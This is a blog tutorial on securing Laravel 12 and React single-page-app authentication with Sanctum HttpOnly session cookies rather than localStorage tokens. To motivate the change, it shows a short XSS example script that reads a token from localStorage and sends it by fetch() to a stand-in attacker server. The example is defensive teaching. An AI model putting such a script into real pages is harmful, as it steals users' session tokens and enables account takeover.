Web Development

Laravel 12 & React: True Auth State with HttpOnly Cookies

Tired of insecure localStorage tokens? Learn how to build a truly secure SPA with Laravel 12 and React using HttpOnly cookies for a seamless, robust auth state.

D

Daniel Evans

Full-stack developer specializing in building secure, scalable applications with Laravel and modern JavaScript.

6 min read16 views

Laravel 12 & React: True Auth State with HttpOnly Cookies

You’ve meticulously crafted a beautiful React frontend and a powerful Laravel API. They’re ready to talk to each other. But now comes the million-dollar question: how do you handle authentication securely and seamlessly? If your first instinct is to reach for localStorage.setItem('token', ...), let’s pause for a moment. While common, that approach opens your application up to security vulnerabilities that are surprisingly easy to exploit.

For years, developers have wrestled with managing authentication state in Single Page Applications (SPAs). The challenge is maintaining a secure session while providing a smooth user experience, free from jarring page reloads or, worse, a flash of an “unauthenticated” screen for a user who is actually logged in.

Today, we're going to build a modern, robust solution using Laravel 12 and React. We'll ditch the insecure localStorage pattern and embrace the gold standard for web session security: HttpOnly cookies. This method not only locks down your auth system but also elegantly solves the mystery of the “true” authentication state on app load.

The Problem with localStorage and Tokens

Storing JSON Web Tokens (JWTs) in localStorage is a widespread practice. It’s simple, and it works. But its simplicity is also its downfall. Any JavaScript running on your page can access anything in localStorage. This makes your application vulnerable to Cross-Site Scripting (XSS) attacks.

Imagine a scenario: an attacker finds a way to inject a malicious script into your site—perhaps through a user comment or a third-party library. That script can run in your user's browser and execute this one simple line:

// The attacker's evil script
const userToken = localStorage.getItem('authToken');

// Now they send it to their server
fetch('https://attackers-evil-server.com/steal', {
  method: 'POST',
  body: JSON.stringify({ token: userToken })
});

Just like that, the attacker has your user's authentication token. They can now impersonate the user, access their data, and perform actions on their behalf. Game over.

The Superior Alternative: HttpOnly Cookies

Enter the HttpOnly cookie. It’s a special kind of cookie that’s sent by the server with a simple flag. When a browser sees this flag, it stores the cookie but makes it completely inaccessible to client-side JavaScript. document.cookie won't see it, and no script, malicious or otherwise, can read it.

Here’s how the flow works:

  1. Login: The React app sends the user's credentials to the Laravel API.
  2. Session Creation: Laravel validates the credentials, creates a secure session, and sends back a session cookie with the HttpOnly flag.
  3. Automatic Handling: The browser automatically stores this cookie. For every subsequent request your React app makes to your Laravel API, the browser automatically attaches the cookie.

React never sees or touches the cookie. It’s a secure, invisible handshake handled entirely by the browser and the server. This completely neutralizes the XSS token theft vector.

Setting Up the Laravel 12 Backend

Laravel Sanctum makes this incredibly easy. It was built for exactly this kind of stateful authentication for SPAs.

Configuration is Key

Advertisement

First, we need to tell Laravel how to handle requests from our React frontend. Let's assume your React app runs on http://localhost:3000 and your Laravel app on http://localhost:8000.

In config/cors.php, you need to allow your frontend's origin and, crucially, allow credentials to be sent.

// config/cors.php
'paths' => ['api/*', 'sanctum/csrf-cookie', 'login', 'logout'],

'supports_credentials' => true, // This is the magic!

'allowed_origins' => [
    env('FRONTEND_URL', 'http://localhost:3000'),
],
// ...

Next, in config/sanctum.php, we tell Sanctum which domains will be making stateful requests.

// config/sanctum.php
'stateful' => [
    env('FRONTEND_URL', 'http://localhost:3000'),
],
// ...

Finally, make sure you've added Sanctum's middleware to your api middleware group in app/Http/Kernel.php. This ensures session state is loaded for API requests.

// app/Http/Kernel.php
'api' => [
    \Laravel\Sanctum\Http\Middleware\EnsureFrontendRequestsAreStateful::class,
    'throttle:api',
    \Illuminate\Routing\Middleware\SubstituteBindings::class,
],
// ...

The Authentication Routes and Controllers

Our routes are straightforward. We need a login endpoint, a logout endpoint, and a protected endpoint to fetch the current user's data.

In routes/api.php:

use App\Http\Controllers\AuthController;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;

Route::post('/login', [AuthController::class, 'login']);
Route::post('/logout', [AuthController::class, 'logout'])->middleware('auth:sanctum');

// This route is protected by Sanctum's auth guard
Route::get('/user', function (Request $request) {
    return $request->user();
})->middleware('auth:sanctum');

The AuthController is surprisingly simple. We don't manually create tokens. We just use Laravel's standard authentication system, and Sanctum handles the rest.

// app/Http/Controllers/AuthController.php
namespace App\Http\Controllers;

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Auth;
use Illuminate\Validation\ValidationException;

class AuthController extends Controller
{
    public function login(Request $request)
    {
        $request->validate([
            'email' => 'required|email',
            'password' => 'required',
        ]);

        if (!Auth::attempt($request->only('email', 'password')))
        {
            throw ValidationException::withMessages([
                'email' => ['The provided credentials do not match our records.'],
            ]);
        }

        // Session is automatically started, cookie is sent.
        return response()->json(Auth::user());
    }

    public function logout(Request $request)
    {
        Auth::guard('web')->logout();

        $request->session()->invalidate();
        $request->session()->regenerateToken();

        return response()->noContent();
    }
}

That's it for the backend. When a user logs in, Laravel sends back an HttpOnly session cookie. The /api/user route will now only work if that valid cookie is present on the request.

Building the React Frontend

Now for the fun part. How does our React app, which can't *see* the cookie, know if the user is logged in?

Configuring Axios for Cookies

First, we need to configure our HTTP client (we'll use Axios) to send credentials (i.e., cookies) with every request. This is a common gotcha that trips up many developers.

Create an Axios instance file, perhaps src/api/axios.js:

import axios from 'axios';

const apiClient = axios.create({
  baseURL: 'http://localhost:8000',
  withCredentials: true, // This is crucial!
});

export default apiClient;

Solving the Auth State Conundrum

When our React app first loads, the user state is `null`. We have no idea if a valid session cookie exists in the browser. If we just render the login page, a logged-in user will see it for a split second before we can figure things out, causing a jarring UX.

The solution is to ask the backend. We'll create an auth provider that, on initial load, makes a request to our protected /api/user endpoint.

  • If the request succeeds, it means a valid cookie was sent, the user is authenticated, and the API returns the user data. We can then set our auth state.
  • If the request fails (with a 401 Unauthorized), it means there was no valid cookie. The user is not authenticated.

Creating a `useAuth` Hook for the Truth

Let's use React's Context API to manage our global auth state. Create an AuthContext.js:

import React, { createContext, useState, useContext, useEffect } from 'react';
import apiClient from './api/axios';

const AuthContext = createContext(null);

export const AuthProvider = ({ children }) => {
  const [user, setUser] = useState(null);
  const [isLoading, setIsLoading] = useState(true);

  useEffect(() => {
    // On initial load, try to fetch the user
    const fetchUser = async () => {
      try {
        const response = await apiClient.get('/api/user');
        setUser(response.data);
      } catch (error) {
        // Not logged in
        setUser(null);
      } finally {
        setIsLoading(false);
      }
    };

    fetchUser();
  }, []);

  const login = async (email, password) => {
    await apiClient.get('/sanctum/csrf-cookie'); // Important!
    const response = await apiClient.post('/login', { email, password });
    setUser(response.data);
  };

  const logout = async () => {
    await apiClient.post('/logout');
    setUser(null);
  };

  return (
    <AuthContext.Provider value={{ user, isLoading, login, logout }}>
      {children}
    </AuthContext.Provider>
  );
};

export const useAuth = () => useContext(AuthContext);

Notice the isLoading state. This is key to preventing the “flash of unauthenticated content.” While we're waiting for that initial /api/user call to resolve, we can show a loading spinner.

Tying It All Together

Now, we can wrap our main App component with the `AuthProvider` and use our new hook to conditionally render our UI.

In index.js or main.jsx:

import { AuthProvider } from './AuthContext';

root.render(
  <React.StrictMode>
    <AuthProvider>
      <App />
    </AuthProvider>
  </React.StrictMode>
);

And in App.js:

import { useAuth } from './AuthContext';
import LoginPage from './components/LoginPage';
import Dashboard from './components/Dashboard';
import Spinner from './components/Spinner';

function App() {
  const { user, isLoading } = useAuth();

  if (isLoading) {
    return <Spinner />; // Or a full-page loading screen
  }

  return user ? <Dashboard /> : <LoginPage />;
}

export default App;

This structure is clean, secure, and provides a fantastic user experience. The app loads, shows a brief loading state, and then confidently displays either the dashboard or the login page based on the *true* authentication state verified by the backend.

A More Secure and Seamless Future

By moving away from localStorage and embracing HttpOnly cookies with Laravel Sanctum, you've significantly hardened your application's security. You've offloaded session management to the browser and server, where it belongs, and eliminated a major XSS attack vector.

More importantly, you've created a reliable source of truth for your React application's auth state, leading to a more professional and seamless experience for your users. This is the modern way to build secure SPAs, and with tools like Laravel and React, it's more accessible than ever.

Tags

You May Also Like